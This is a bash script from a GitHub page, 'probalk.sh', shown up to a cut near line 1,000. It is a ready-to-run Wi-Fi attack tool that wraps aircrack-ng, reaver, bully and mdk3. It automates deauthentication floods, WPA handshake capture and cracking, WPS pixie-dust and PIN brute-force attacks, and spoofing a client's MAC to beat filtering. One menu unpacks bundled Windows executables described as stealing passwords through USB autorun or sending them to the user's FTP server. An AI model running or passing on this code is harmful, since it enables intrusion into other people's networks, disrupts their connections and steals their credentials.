-
Notifications
You must be signed in to change notification settings - Fork 10
/
probalk.sh
1631 lines (1384 loc) · 40.5 KB
/
probalk.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
####
#check root
if [[ ! $(whoami) = "root" ]]; then
echo "Please run script as root"
exit 1
fi
if [ -e /tmp/probalk ]; then
rm -rf /tmp/probalk
fi
chmod 7777 include
scriptpath=`pwd`
mkdir /tmp/probalk/
cp include/win36l.zip /tmp/probalk
cp include/win36h.zip /tmp/probalk
cp include/airmon.sh /tmp/probalk
chmod 7777 *
cd /tmp/probalk
chmod 7777 *
handshake=no
hiddens=no
mkdir ~/Desktop/Pobalk-crack-result 2&> /dev/null
resultpath=~/Desktop/Pobalk-crack-result
##define colors
# Bold-text+colors
BBlack='\e[1;30m' # Black
BRed='\e[1;31m' # Red
BGreen='\e[1;32m' # Green
BYellow='\e[1;33m' # Yellow
BBlue='\e[1;34m' # Blue
BPurple='\e[1;35m' # Purple
BCyan='\e[1;36m' # Cyan
BWhite='\e[1;37m' # White
# Regular Colors
Black='\e[0;30m' # Black
Red='\e[0;31m' # Red
Green='\e[0;32m' # Green
Yellow='\e[0;33m' # Yellow
Blue='\e[0;34m' # Blue
Purple='\e[0;35m' # Purple
Cyan='\e[0;36m' # Cyan
White='\e[0;37m' # White
# animation
blink=`echo -e "\033[5;31;40m(NEW) \033[0m\033[31;40m (can take long time) \033[0m"`
center1 (){
termwidth="$(tput cols)"
padding="$(printf '%0.1s' .{1..500})"
printf $BGreen'%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#1})/2))" "$padding" "$1" 0 "$(((termwidth-1-${#1})/2))" "$padding"
}
center2() {
termwidth="$(tput cols)"
padding="$(printf '%0.1s' -{1..500})"
printf $BRed'%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#1})/2))" "$padding" "$1" 0 "$(((termwidth-1-${#1})/2))" "$padding"
}
center3() {
termwidth="$(tput cols)"
padding="$(printf '%0.1s' " ██"{1..500})"
printf $BRed'%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#1})/2))" "$padding" "$1" 0 "$(((termwidth-1-${#1})/2))" "$padding"
}
choise() {
termwidth="$(tput cols)"
padding="$(printf '%0.1s' "#"{1..500})"
printf $BGreen'%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#1})/2))" "$padding" "$1" 0 "$(((termwidth-1-${#1})/2))" "$padding"
}
sleep 2
# setup-envirenment
# mading temdir
ls 2&> /dev/null
cd /tmp/probalk 2&> /dev/null
# cleanup
cleanup(){
cd /tmp/ 2&> /dev/null
cd /probalk/ 2&> /dev/null
rm -rf * 2&> /dev/null
rmdir /tmp/probalk/ 2&> /dev/null
echo -e "$BPurple -Disabling Monitor Mode...."
ifconfig $nameintc down 2>/dev/null
iwconfig $nameintc mode managed 2>/dev/null
ifconfig $nameintc up 2>/dev/null
rfkill unblock all 2>/dev/null
iw $nameintc del 2&> /dev/null
cd "$scriptpath"
rm -rf downgrade/lighttpd.conf
rm -rf downgrade/hostapd.conf
rm -rf downgrade/dnsmasq.conf
rm -rf downgrade/php.socket-*
rm -rf downgrade/lighttpd.log
rm -rf downgrade/server/*
rm -rf downgrade/dnsmasq.conf
rm -rf downgrade/paramet*.txt
rm -rf downgrade/cert.pem
rm -rf downgrade/blacklist
rm -rf downgrade/debug
rm -rf downgrade/PASSWORD-OF-$bssid.txt
rm -rf downgrade/handshake$bssid-01.cap
echo -e "$BPurple -Starting Network Manager...."
service network-manager start 2&> /dev/null
killall xterm 2&> /dev/null
}
#########################################################################################################
clear && sleep 0.2
echo -e "$BGreen[*]checking For Needed Packages.... " && sleep 0.1
echo -ne "$BGreen [+] aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
sleep 0.025
echo -ne "$BGreen [+] aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "OK"
fi
sleep 0.025
echo -ne "$BGreen [+] airmon-ng......."
if ! hash airmon-ng 2>/dev/null; then
echo -e "$BRed Package Not Installed"
c
else
echo -e "$BGreen OK"
fi
sleep 0.025
echo -ne "$BGreen [+] airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "$BGreen [+] cowpatty....."
if ! hash cowpatty 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "$BGreen [+] Macchanger....."
if ! hash macchanger 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
sleep 0.025
echo -ne "$BGreen [+]awk............."
if ! hash awk 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "$BGreen [+]UnZip............."
if ! hash unzip 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "$BGreen [+]PixieWPs.........."
if ! hash pixiewps 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "$BGreen [+]Reaver............."
if ! hash reaver 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "[+]Bully............."
if ! hash bully 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "[+]Hostapd............."
if ! hash hostapd 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "[+]lighttpd............."
if ! hash lighttpd 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
echo -ne "[+]dnsmasq............."
if ! hash dnsmasq 2>/dev/null; then
echo -e "$BRed Package Not Installed"
exit=1
else
echo -e "$BGreen OK"
fi
###################
scanheart(){
cd /tmp/probalk
xterm -geometry "140x40+200+0" -bg "#1d2951" -fg "#d1e231" -title "Scanning For Networks ... " -e "airodump-ng -w tempsoyalk --output-format csv --encrypt WPA --wps --uptime --manufacturer --ignore-negative-one $nameintc"
}
########
printscan(){
cd /tmp/probalk
filecsv=tempsoyalk-01.csv
nmb=`sed -n '/BSSID/,/Station MAC/p' $filecsv | wc -l`
declare nmbreal
backnm="$nmb"
nmbreal=$((nmb-1))
echo -e " $Blue BSSID # CHANNEL POWER(%) ENCREPTION ESSID "
for i in $(seq 3 $nmbreal)
do
p=$((i-2))
if (($p<10)) ;then
p=" $p"
fi
PWR=`awk -F, 'NR == '$i' {print $9 }' $filecsv `
PWR=`expr $PWR + 100`
if (($PWR<30)) ;then
COLORE=$BRed
fi
if (($PWR>30)) ;then
COLORE=$BGreen
fi
lk=`echo -e $COLORE`
printf " $lk $p) `awk -F, 'NR == '$i' {print " " $1 " #" $4" " '$PWR' " " $6 " " $14 }' $filecsv` \n"
done
tt=$(($(($nmbreal))-2))
y3=0
echo -e $BCyan "$backnm ) BACK $BGreen"
while [ $y3 = 0 ] ; do
read -p "[+] Choose The Network You Want To Use:" option3
if [ "$option3" == "$backnm" ];then
mainpage
break
fi
case $option in
[1-400])
y3=1
if [ -z $option3 ]; then
echo "invalide"
y3=0
elif (( option3 > tt )); then
echo "invalide"
y3=0
else
echo "valide"
fi
;;
*)
echo "invalide"
y3=0
;;
esac
done
option3=$option3+1
bssid=`awk -F, 'NR == '$option3+1' {print $1 }' $filecsv `
essid=`awk -F, 'NR == '$option3+1' {print $14 }' $filecsv `
ch=`awk -F, 'NR == '$option3+1' {print $4 }' $filecsv `
printselected
sleep 1.5
mainpage
}
###########
pausef(){
read -p "$*"
}
printselected(){
if [ "$bssid" ]; then
choise "{Network Selected}"
echo -e "$Green ESSID => $BGreen: $essid"
echo -e "$Cyan BSSID => $BGreen: $bssid"
echo -e "$Blue CHANNEL => $BGreen: $ch"
#choise ""
else
choise "{Network Selected}"
echo "Target Network : Not selected Yet"
fi
if [ "$nameintc" ]; then
choise "{Interface Selected}"
echo -e "$Green Interface => $BGreen: $nameintc"
else
choise "{Interface Selected}"
echo "Interface : Not selected Yet"
fi
if [ -f "$handshakep" ]; then
if aircrack-ng handshake$bssid-01.cap | grep -q "1 handshake" ; then
handshake="yes"
else
rm -rf "$handshakep"
handshake="no"
fi
#
#
#verify=`cowpatty -c -r "$handshakep" |grep crack|awk '{print $7}'` >/dev/null 2>/dev/null
#
# if [ "$verify" != "crack" ] ; then
# rm -rf "$handshakep"
# handshake="no"
fi
if [ "$handshake" == "yes" ] ; then
choise "{Handshake}"
echo -e $Green "status : captured "$handshakep" "
choise ""
else
choise "{Handshake}"
echo "status : Not Captured Yet"
choise ""
fi
}
##################function####enable-monitor-mode
enablemonitormode(){
clear
nameint=`echo -e "$Green Choose $BPurple The interface $Green You want $BRed To $Green Use : "`
defstartsoyalk
choise "{Interfaces}"
echo -e " $BRed Interface $Green Chipset $Yellow Driver"
intn=`./airmon.sh | grep -c "-"`
readarray -t wirelessifaces < <(./airmon.sh |grep "-" | cut -d- -f1)
if [ "$intn" -gt "0" ]; then
if [ "$intn" -eq "1" ]; then
line1=$wirelessifaces
echo -e "$Yellow 1) $line1"
choise "Auto Selected"
echo "ONE Interface Detected .Will Be Auto Selected"
intface=`echo ${wirelessifaces[0]} | awk '{print $1 }'`
monface=`echo $intface`
else
i=0
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e " "$i") $line"
done
choise "{Interfaces}"
read -p "$nameint" intni
intni=$(($intni+0))
intface=`echo ${wirelessifaces[$intni]} | awk '{print $1}' `
monface=`echo $intface`
fi
fi
sleep 0.1
nameintc="$monface"
airmon-ng check kill #2&> /dev/null
rfkill unblock all 2>/dev/null
ifconfig $nameintc down 2>/dev/null
iwconfig $nameintc mode monitor 2&> /dev/null
ifconfig $nameintc up 2>/dev/null
choise "#"
mainpage
}
txpower(){
txp1=`iwconfig wlan0 | grep Tx-Power| cut -d = -f 2`
txpv1=`echo "The Tx-power Of $nameintc is :$txp1 "`
echo -e "$Cyan $txpv1"
read -p "Enter The Tx-power You Want To Set (examples: 30dbm /20dbm ..) : " Power
ifconfig $nameintc down
iw reg set BO
iwconfig $nameintc txpower $Power
ifconfig $nameintc up
txp2=`iwconfig wlan0 | grep Tx-Power| cut -d = -f 2`
txpv2=`echo "Your Tx-Power Is : $txp2"`
echo -e "$Cyan $txpv2"
if [ "$txp2" == "$txp1" ]; then
echo -e "-$BRed Somthing Went Wrong Tx-Power Not changed "
echo -e "($Red you may runing linux in a virtual machine or your wifi adapter does'nt support this operation.... "
else
echo -e "$BGreen -changed sucessefully"
fi
sleep 3
mainpage
}
selectarget(){
echo -e "A New Window Will Apeare .When You see Your Network Tap Once CTRL+C" && sleep 0.5
pausef 'Are You Ready ? [Press Enter To Start Scanning ]... '
scanheart
clear
defstartsoyalk
printscan
}
exel(){
unzip /tmp/probalk/win36l.zip -d $resultpath
sleep 3
mainpage
}
exeh(){
unzip /tmp/probalk/win36h.zip -d $resultpath
sleep 3
mainpage
}
usbbadmain(){
defstartsoyalk
echo -e "$Green Chose Mode Of Attack (visit our website to see more infos ...)"
choise "{Probalk}"
echo -e "$Cyan 1) USB [ EXE + AUTORUN ] Passwords will be saved in The same usb {User Privileges}"
choise "{Probalk}"
echo -e "$Cyan 2) EXE Migratable With any other programme .Passwords Will be sent To Your FTP Server {Admin Privileges}"
choise "{Probalk}"
echo -e "$Cyan 1st Attack Will Generate Folder At The Desktop Of This System Then Copy It Content To The usb The Usb Must Be Formated with NFTS Files Systemes "
echo -e " 2nd Attack Will Generate Folder with exe Hidden Programme You Need To Open It With Winrar . And open "tmpftp.win" With Your Text editor Decode(base64) It content Then Replace It With Yours Encrypt it Again and save Modifications.now It is ready To USE "
choise "{Probalk}"
u=0
while [ $u = 0 ]
do
read -p " Enter The Number Of Your Choise:" choiseheart
case "$choiseheart" in
1)
exel
u=1
;;
2)
exeh
u=1
;;
*)
u=0
echo "Invalide choise .."
;;
esac
done
}
crack_pin(){
if [ "$hiddens" == "no" ] ; then
hdn=""
else
hdn="-e $essid"
fi
pin=`cat /tmp/probalk/pixiewpsreaver.txt | grep "WPS pin:"|cut -d : -f2`
pin=`echo $pin`
if [ "$pin" != "" ] ; then
echo "Passwords & pin cracked by probalk" > $resultpath/probalk_passwords.txt
echo "{+}essid=$essid" >> $resultpath/probalk_passwords.txt
echo "{+}bssid=$bssid" >> $resultpath/probalk_passwords.txt
echo "{+}Pin=$pin" >> $resultpath/probalk_passwords.txt
echo -e "$Red Pin $Green Found $Cyan:$pin"
echo "[+] Running reaver with the current pin ..."
reaver -i $nameintc "$hdn" -b $bssid -c $ch -p $pin 2>&1 | tee /tmp/probalk/pixiewps.txt
cat /tmp/probalk/pixiewps.txt | grep "WPA PSK:" >> $resultpath/probalk_passwords.txt
echo -e "$BGreen"
pausef 'press any key to continue ....'
else
echo "failed"
sleep 2
fi
}
pixiewpsrever(){
trap wpsmainpage SIGINT SIGTERM SIGHUP
if [ "$hiddens" == "no" ] ; then
iwconfig $nameintc channel $ch
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Pixie Dust Attack Using Reaver" -e "reaver -i $nameintc -b $bssid -c $ch -K 1 -q -N -vvv -f 2>&1 | tee /tmp/probalk/pixiewpsreaver.txt && killall xterm "
else
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Pixie Dust Attack Using Reaver" -e "reaver -i $nameintc -b $bssid -c $ch -e $essid -K 1 -q -N -vvv -f 2>&1 | tee /tmp/probalk/probalk_passwords.txt "
fi
crack_pin
}
pixiewpsbully(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
if [ "$hiddens" == "no" ] ; then
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -ls -title "Pixie Dust Attack Using Bully" -e "bully -b $bssid -c $ch $nameintc -d -v 4 2>&1 | tee $resultpath/probalk_pins-passwords_bully.txt"
else
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -ls -title "Pixie Dust Attack Using Bully" -e "bully -e $essid -b $bssid -c $ch $nameintc -d -v 4 2>&1 | tee $resultpath/probalk_pins-passwords_bully.txt "
fi
}
defaultpinreaver(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
read -p "For Belkin Routers Type 1 For D-Link Routers Type 2 :" W
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Default Pins Generated By Reaver" -e "reaver -i $nameintc -b $bssid -e $essid -c $ch -W $W -q -f"
}
brueteforcepinreaver(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Brute-Force Pin Using Reaver " -e "reaver -i $nameintc -b $bssid -e $essid -c $ch -f "
}
bruteforcepinbully(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
if [ "$hiddens" == "no" ] ; then
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Brute-Force Pin Using bully " -e "bully -b $bssid -c $ch -B -F $nameintc -o $resultpath/bully.pin.probalk.txt"
else
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Brute-Force Pin Using bully " -e "bully -e $essid -c $ch -B -F $nameintc -o $resultpath/bully.pin.probalk.txt"
fi
}
cutompinreaver(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
read -p "Enter The Pin You Want To Crack :" $pin
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Crack Custom Pin With Reaver " -e "reaver -i $nameintc -b $bssid -e $essid -c $ch -p $pin "
}
cutompinbully(){
iwconfig $nameintc channel $ch
trap wpsmainpage SIGINT SIGTERM SIGHUP
read -p "Enter The Pin You Want To Crack :" $pin
if [ "$hiddens" == "no" ] ; then
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Crack Custom Pin With Reaver " -e "bully -b $bssid -e $essid -c $ch -p $pin -F $nameintc -o $resultpath/bully.pin.probalk.txt"
else
xterm -hold -geometry "150x50+400+0" -bg "#1d2951" -fg "#d1e231" -title "Crack Custom Pin With Reaver " -e "bully -e $essid -c $ch -p $pin -F $nameintc -o $resultpath/bully.pin.probalk.txt"
fi
}
checkhidden(){
iwconfig $nameintc channel $ch
xterm -hold -geometry "60x60+0+0" -bg "#1d2951" -fg "#d1e231" -title "Sending Deathifications Frames To The Boardcast" -e "aireplay-ng --deauth 999999999 -a $bssid $nameintc" & pid1=$!
PID_1=" $pid1";
xterm -hold -geometry "150x120+900+0" -bg "#1d2951" -fg "#d1e231" -title "Scanning For Networks ..." -e "airodump-ng -w tempsoyalkhiden --output-format csv --bssid $bssid -c $ch --showack --wps --uptime --manufacturer $nameintc " & pid2=$!
PID_2=" $pid2";
checkk & pid3=$! 2>/dev/null
PID_3=" $pid3";
trap "kill $PID_2 kill $PID_1 kill $PID_3" SIGINT 2>/dev/null
wait $PID_1 $PID_2 $PID_3
echo
essid=`awk -F"," ' NR==3 { print $14 } ' tempsoyalkhiden-01.csv`
}
checkk(){
f=0
sleep 2 && filecsvhid=tempsoyalkhiden-01.csv
while [ $f = 0 ] ; do
sleep 2
if [ -e "$filecsvhid" ] ; then
essid=`awk -F"," ' NR==3 { print $14 } ' tempsoyalkhiden-01.csv`
essid=`echo -e $essid`
essid="$essid"
fi
f=0
if [ "$essid" != "" ] ; then
f=1
killall xterm
echo "essid is $essid"
sleep 2
hiddens=yes
fi
done
}
heartwithout(){
trap mainpage SIGINT SIGTERM SIGHUP
echo -e $BYellow
if [ "$handshake" == "yes" ] ; then
read -p "handshake already captured would you like to use it (y/n) :" handopt
if [ "$handopt" == "y" ] ; then
handshakep=handshake$bssid-01.cap
else
read -p "Enter The handshake path:" handshakep
fi
else
read -p "Enter The handshake path:" handshakep
fi
pwdpath=$resultpath/PASSWORD-OF-WIFI-CRACKED.txt
iwconfig $nameintc channel $ch
xterm -hold -geometry "100x60+0+0" -bg "#1d2951" -fg "#d1e231" -title "Heart-Bleed-Probes " -e "airodump-ng -w tmp --output-format netxml $nameintc -c $ch" & pid5=$!
PID_1=" $pid1";
loopheart & pid6=$! 2>/dev/null
PID_6=" $pid6";
loopai & pid7=$!
PID_7=" $pid7";
result & pid13=$!
PID_13=" $pid13";
wait $PID_7 $PID_6 $PID_5 $PID_13
echo
result
sleep 5
mainpage
}
loopai(){
r=0
while [ $r = 0 ] ; do
xterm -hold -geometry "70x30+300+0" -bg "#1d2951" -fg "#d1e231" -title "Heart-Bleed-Probes Aircrack-ng " -e "aircrack-ng -a2 -b $bssid -w tmp.txt $handshakep -l $resultpath/PASSWORD-OF-WIFI-CRACKED.txt" & pid9=$!
PID_9=" $pid9";
sleepandkil & pid10=$!
PID_10=" $pid10";
wait $PID_9 $PID_10
sleep 2
done
}
sleepandkil(){
sleep 4
kill $pid9 2>/dev/null
}
heartwithmdk(){
trap mainpage SIGINT SIGTERM SIGHUP
if [ "$handshake" == "yes" ] ; then
read -p "handshake already captured would you like to use it (y/n) :" handopt
if [ "$handopt" == "y" ] ; then
handshakep=handshake$bssid-01.cap
else
read -p "Enter the handshake path :" handshakep
fi
else
read -p "Enter The handshake path:" handshakep
fi
pwdpath=$resultpath/PASSWORD-OF-WIFI-CRACKED.txt
iwconfig $nameintc channel $ch
echo $bssid>blacklist.txt
xterm -hold -geometry "30x30+0+0" -bg "#1d2951" -fg "#d1e231" -title "Heart-Bleed-Probes Deauth With MDK3 " -e "mdk3 $nameintc d -b blacklist.txt -c $ch" & pid321=$!
PID_321=" $pid321";
xterm -hold -geometry "100x60+4000+0" -bg "#1d2951" -fg "#d1e231" -title "Heart-Bleed-Probes Aircrack-ng " -e "airodump-ng -w tmp --output-format netxml $nameintc -c $ch" & pid5=$!
PID_1=" $pid1";
loopheart & pid6=$! 2>/dev/null
PID_6=" $pid6";
loopai & pid7=$!
PID_7=" $pid7";
result & pid13=$!
PID_13=" $pid13";
trap mainpage SIGINT 2>/dev/null
wait $PID_7 $PID_6 $PID_5 $PID_13 $PID_321
echo
result
sleep 5
mainpage
}
loopheart(){
t=0
while [ $t = 0 ] ; do
sleep 1
grep -o '<ssid>.*</ssid>' tmp-01.kismet.netxml | sed 's/\(<ssid>\|<\/ssid>\)//g' > tmp.txt
if [ -e "$pwdpath" ] ; then
t=1
fi
done
}
result(){
res=0
while [ $res = 0 ] ; do
if [ -e "$pwdpath" ] ; then
killall xterm 2>/dev/null
kill $PID_10 2>/dev/null ;kill $PID_9 2>/dev/null; kill $PID_7 2>/dev/null; kill $PID_6 2>/dev/null ; kill $PID_5 2>/dev/null
kill $PID_6 2>/dev/null ; kill $PID_5 2>/dev/null ; kill $PID_7 2>/dev/null ;
pwdh=`cat $pwdpath`
pwdh=`echo $pwdh`
echo -e " $BCyan PASSWORD $BGreen FOUND => $Yellow "$pwdh""
res=1
sleep 9
pausef 'press any key to continue ....'
fi
done
}
#####################################handcapture
virefyhand(){
me=0
while [ $me = 0 ] ; do
me=0
sleep 6
clear
echo -e $BCyan "[+] Verifing handshake with cowpatty "
cowpatty -c -r handshake$bssid-01.cap
verify=`cowpatty -c -r handshake$bssid-01.cap |grep crack|awk '{print $7}'`
echo -e $BCyan "[+] reverifying ........"
if [ "$verify" == "crack" ] ; then
kill $PID_30
kill $PID_176
killall xterm
handhsake=yes
me=1
break
fi
done
}
virefyhandair(){
me=0
while [ $me = 0 ] ; do
me=0
sleep 6
clear
echo -e $BCyan "[+] Verifing handshake with aircrack-ng "
echo -e $BCyan "[+] reverifying ........"
if aircrack-ng handshake$bssid-01.cap | grep -q "1 handshake" ; then
kill $PID_30
kill $PID_176
killall xterm
handhsake=yes
me=1
break
fi
done
}
cowpattyverifiction() {
trap mainpage SIGINT 2>/dev/null
iwconfig $nameintc channel $ch
xterm -hold -geometry "110x60+4000+0" -bg "#1d2951" -fg "#d1e231" -title "capturing handshake " -e "airodump-ng -w handshake$bssid --output-format cap $nameintc --bssid $bssid -c $ch" & pid30=$!
PID_30=" $pid30";
virefyhand & pid31=$!
PID_31=" $pid31";
xterm -hold -geometry "60x30+0+0" -bg "#1d2951" -fg "#d1e231" -title "Sending Deathifications Frames To The Boardcast" -e "aireplay-ng --deauth 999999999 -a $bssid $nameintc" & pid176=$!
PID_176=" $pid176";
wait $PID_30 $PID_31 $PID_176
handshake=yes
sleep 1
cp -rf handshake$bssid-01.cap $resultpath/handshake_of_$bssid.cap
}
aircrackverification() {
trap mainpage SIGINT 2>/dev/null
iwconfig $nameintc channel $ch
xterm -hold -geometry "110x60+4000+0" -bg "#1d2951" -fg "#d1e231" -title "capturing handshake " -e "airodump-ng -w handshake$bssid --output-format cap $nameintc --bssid $bssid -c $ch" & pid30=$!
PID_30=" $pid30";
virefyhandair & pid31=$!
PID_31=" $pid31";
xterm -hold -geometry "60x30+0+0" -bg "#1d2951" -fg "#d1e231" -title "Sending Deathifications Frames To The Boardcast" -e "aireplay-ng --deauth 999999999 -a $bssid $nameintc" & pid176=$!
PID_176=" $pid176";
wait $PID_30 $PID_31 $PID_176
handshake=yes
sleep 1
cp -rf handshake$bssid-01.cap $resultpath/handshake_of_$bssid.cap
}
handcapture(){
defstartsoyalk
echo -e "$BRed [*]$BCyan Choose The $BRed Verification $BCyan Type "
choise "{Probalk}"
echo -e $BCyan " 1) Verify with aircrack-ng "
choise "{Probalk}"
echo -e $BCyan " 2) Verify with cowpatty $Yellow"
choise "{Probalk}"
read -p "[*]Choose The Verification Type:" verificationt
a=0
while [ $a = 0 ]
do
case "$verificationt" in
1)
aircrackverification
a=1
;;
2)
cowpattyverifiction
a=1
;;
*)
a=0
echo "Invalide choise .."
;;
esac
done
}
randmac(){
ifconfig $nameintc down 2>/dev/null
choise "{Probalk}"
macchanger -r $nameintc
choise "{Probalk}"
ifconfig $nameintc up 2>/dev/null
choise "{Probalk}"
sleep 2
wpsmainpage
}
macclient(){
iwconfig $nameintc channel $ch
xterm -hold -geometry "150x120+900+0" -bg "#1d2951" -fg "#d1e231" -title "Scanning For clients ..." -e "airodump-ng -w tmpmac --output-format csv --bssid $bssid -c $ch --wps --uptime --manufacturer $nameintc " & pid4=$!
PID_4=" $pid4";
checkclient & pid5=$! #2>/dev/null S
PID_5=" $pid5";
trap "kill $PID_4 kill $PID_5" SIGINT 2>/dev/null
wait $PID_5 $PID_4
echo
mac=`sed -n '/Station MAC/,//p' tmpmac-01.csv | grep "$bssid" | awk -F',' 'NR == 1 { print $1} ' `
ifconfig $nameintc down
macchanger -m $mac $nameintc
ifconfig $nameintc up
choise "{Probalk}"
sleep 2.5
}
checkclient(){
m=0
filecsvmac=tmpmac-01.csv
sleep 0.1
while [ $m = 0 ] ; do
m=0
if [ -e "$filecsvmac" ] ; then
mac=`sed -n '/Station MAC/,//p' tmpmac-01.csv | grep "$bssid" | awk -F',' 'NR == 1 { print $1} ' `
fi
if [ "$mac" != "" ] ; then
m=1
killall xterm
choise "{Probalk}"
echo " MAC of a client is $mac"
echo " I Will Change Your Mac To It..."
choise "{Probalk}"
sleep 2
fi
done
}
macspoof(){
defstartsoyalk
choise "{Probalk}"
echo -e "$Cyan Wich Kind Of $Red Mac Filtering $Green Your Router Use $Cyan .(Only autorised Devices Can Connect Or Blocked Mac Adress )"
choise "{Probalk}"
echo -e "$Cyan 1)Change The MAC Adress To Random MAC (Against Black-list Mode) "
choise "{Probalk}"
